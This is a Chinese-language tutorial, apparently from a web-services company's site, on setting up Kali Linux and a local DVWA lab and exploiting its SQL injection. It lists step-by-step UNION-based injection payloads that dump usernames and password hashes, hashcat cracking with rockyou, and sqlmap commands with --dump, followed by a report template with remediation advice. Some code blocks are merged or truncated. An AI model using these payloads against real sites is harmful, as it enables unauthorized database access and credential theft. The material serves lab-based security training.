如何成为黑客:(Kali配置与DVWA渗透实战全攻略)
2026/7/24 18:22:04 网站建设 项目流程

第一部分:环境搭建(步步截图级详细)

步骤1:准备虚拟机与Kali Linux

  1. 下载并安装虚拟机软件
    <ul>
  2. 前往VirtualBox(https://www.virtualbox.org/) 或VMware Workstation Player(Fusion and Workstation | VMware) 官网,下载并安装对应您主机系统(Windows/macOS/Linux)的版本。
  3. 下载Kali Linux镜像
    • 访问Kali Linux 官方下载页(Get Kali | Kali Linux),选择 “Kali Linux Virtual Machines”,下载适用于您虚拟机软件的版本(如.ova用于 VirtualBox,.vmx用于 VMware)。
  4. 导入并启动Kali
    • VirtualBox:打开软件 -> 管理 -> 导入虚拟电脑 -> 选择下载的.ova文件 -> 点击“导入”。导入后,在列表中选择它,点击“启动”。
    • VMware:打开软件 -> 文件 -> 打开 -> 选择下载的.vmx文件。打开后,点击“播放虚拟机”。
    • 默认登录凭证:用户名kali,密码kali
  5. 更新系统(在Kali终端中执行):
    sudo apt update && sudo apt full-upgrade -y ```

步骤2:配置攻击机(Kali)网络与工具

  1. 设置网络为"桥接模式"(确保攻击机和靶机在同一局域网):
    • 在虚拟机软件中,找到 Kali 虚拟机的"设置" → "网络" → "连接方式" → 选择"桥接网卡"。这样 Kali 会从您的家庭路由器获取一个独立IP,如同另一台真实电脑。
  2. 获取Kali的IP地址
    ip addr show

    找到inet后面的地址(如192.168.1.105),记下它。

  3. 安装并启动必要服务
    # 启动Apache和MySQL服务(部分工具依赖) sudo systemctl start apache2 sudo systemctl start mysql 设置MySQL root密码(按提示操作) sudo mysql_secure_installation

步骤3:部署靶机(DVWA)

  1. 下载并解压DVWA
    <pre>

    sudo wget https://github.com/digininja/DVWA/archive/master.zip sudo unzip master.zip sudo mv DVWA-master dvwa

  2. 配置数据库
    # 登录MySQL,密码是上一步设置的 sudo mysql -u root -p
    在 MySQL 提示符下,依次执行:
    <pre>

    CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost'; FLUSH PRIVILEGES; exit;

  3. 配置DVWA
    cd /var/www/html/dvwa/config sudo cp config.inc.php.dist config.inc.php sudo nano config.inc.php ``` 找到以下行,确保它们与下面一致(`$_DVWA[ 'db_password' ]` 必须与上面创建的密码匹配): ```php $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'dvwa'; $_DVWA[ 'db_password' ] = 'p@ssw0rd'; $_DVWA[ 'default_security_level' ] = 'low'; // 将安全级别设为“低”,便于练习 ``` 按 `Ctrl+X`,然后按 `Y`,再按 `Enter` 保存退出。
  4. 修改文件权限并重启服务
    sudo chown -R www-data:www-data /var/www/html/dvwa sudo chmod -R 755 /var/www/html/dvwa sudo systemctl restart apache2 ```
  5. 访问DVWA
    • 在Kali的浏览器中,打开http://127.0.0.1/dvwa/setup.php
    • 点击页面底部的“Create / Reset Database”按钮。
    • 成功后,使用默认凭证登录:用户名admin,密码password

第二部分:实战操作(以SQL注入为例)

步骤1:侦察与目标确认

  1. 在Kali中打开终端,确认靶机(DVWA)的IP。由于靶机就是Kali本机,所以IP是127.0.0.1
  2. 使用nmap快速扫描确认服务: 应能看到80/tcp open http Apache httpd

步骤2:手动SQL注入漏洞利用(极度详细)

  1. 访问漏洞页面
    • 在浏览器中登录DVWA (http://127.0.0.1/dvwa)。
    • 左侧菜单栏,点击"DVWA Security",将安全级别设为"Low",点击"Submit"。
    • 点击"SQL Injection"
  2. 探测注入点
    • 在输入框User ID中,输入1,点击"Submit"。页面显示用户ID为1的用户信息(admin)。
    • 关键测试1(错误探测):输入1'(数字1加一个单引号),点击提交。观察:页面返回SQL语法错误信息(如You have an error in your SQL syntax...)。这强烈暗示存在SQL注入漏洞,因为单引号破坏了原SQL语句结构。
    • 关键测试2(逻辑验证):输入1' AND '1'='1,点击提交。页面应正常返回ID为1的用户信息。再输入1' AND '1'='2,点击提交。页面应返回空(因为'1'='2'为假)。这确认我们可以通过注入逻辑控制SQL查询条件。
  3. 确定字段数(为UNION查询做准备)
    • 输入1' ORDER BY 1 #,提交。页面正常。
    • 输入1' ORDER BY 2 #,提交。页面正常。
    • 输入1' ORDER BY 3 #,提交。观察:页面可能报错或返回空。这说明原始查询结果有2列#是MySQL的注释符,用于注释掉后面的SQL代码。
  4. 使用UNION查询获取数据库信息
    • 输入1' UNION SELECT 1,2 #,提交。观察:页面某处(通常在"ID"和"First name"位置)会显示数字12。这表示这两个位置可以回显我们UNION查询的结果。
    • 获取当前数据库名:输入1' UNION SELECT database(), version() #,提交。页面会在对应位置显示当前数据库名(应为dvwa)和MySQL版本号。
    • 获取所有数据库名:输入1' UNION SELECT schema_name, NULL FROM information_schema.schemata #,提交。页面会列出MySQL中所有数据库的名称。
  5. 获取当前数据库的所有表名
    • 输入:1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database() #,提交。
    • 页面会显示dvwa数据库中的所有表,如guestbookusers等。
  6. 获取关键表(如users)的列名
    • 输入:1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_schema = database() AND table_name = 'users' #,提交。
    • 页面会显示users表的所有列名,如user_idfirst_namelast_nameuserpasswordavatar等。
  7. 最终攻击:拖取用户凭证
    • 输入:1' UNION SELECT user, password FROM users #,提交。
    • 页面将直接显示所有用户名和经过MD5哈希的密码。例如admin的密码哈希是5f4dcc3b5aa765d61d8327deb882cf99
  8. 密码破解(离线)
    • 复制5f4dcc3b5aa765d61d8327deb882cf99
    • 在Kali终端中,使用hashcat或在线MD5解密网站(仅用于练习)进行破解。这是一个非常简单的MD5哈希,对应明文是password
    • 使用hashcat的命令示例:
      echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force
    • rockyou.txt是Kali自带的常用密码字典。

步骤3:使用自动化工具(sqlmap)进行验证

  1. 启动Burp Suite并设置代理(可选,用于拦截请求):
    <ul>
  2. 在Kali中打开Burp Suite (Community Edition)。
  3. 打开浏览器,设置代理为127.0.0.1:8080
  4. 访问DVWA的SQL注入页面,提交一个正常请求(如id=1),在Burp中拦截该请求,将其右键 -> Copy to file保存为request.txt
  5. 使用sqlmap
    • 在终端中,进入保存request.txt的目录,执行:
      sqlmap -r request.txt --batch --dbs ``` * `-r request.txt`:从文件中读取HTTP请求。 * `--batch`:以非交互模式运行,自动选择默认选项。 * `--dbs`:枚举数据库。
    • sqlmap会自动检测注入点、类型,并列出所有数据库。后续可以使用-D dvwa --tables枚举表,-D dvwa -T users --dump导出表数据。

第三部分:环境清理与报告模板

清理

# 在Kali中删除DVWA sudo rm -rf /var/www/html/dvwa # 在MySQL中删除数据库和用户 sudo mysql -u root -pDROP DATABASE dvwa; DROP USER 'dvwa'@'localhost'; exit;

渗透测试报告(简化模板)

# 渗透测试报告 - DVWA靶场 目标: http://127.0.0.1/dvwa 测试类型: 授权白盒测试 发现日期: [日期] 1. 高危漏洞 - SQL注入 (CWE-89) 位置: /dvwa/vulnerabilities/sqli/ 参数: id (GET) 安全级别: Low 漏洞描述: 应用程序未对用户输入的id参数进行过滤,直接拼接至SQL查询语句中,导致攻击者可执行任意SQL命令。 复现步骤: 访问 http://127.0.0.1/dvwa/vulnerabilities/sqli/。 在输入框输入: 1' UNION SELECT user, password FROM users # 点击提交。 影响: 成功获取users表中所有用户的登录名及MD5哈希密码,导致凭证泄露,可进一步破解并获取系统权限。 修复建议: 使用参数化查询(预编译语句)。 PHP示例(使用PDO): $stmt-&gt;execute(['id' =&gt;$id]); $results =$stmt-&gt;fetchAll();
  1. 对输入进行严格的类型转换(如intval($id))。
  2. 遵循最小权限原则,数据库用户不应拥有information_schema的访问权限。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询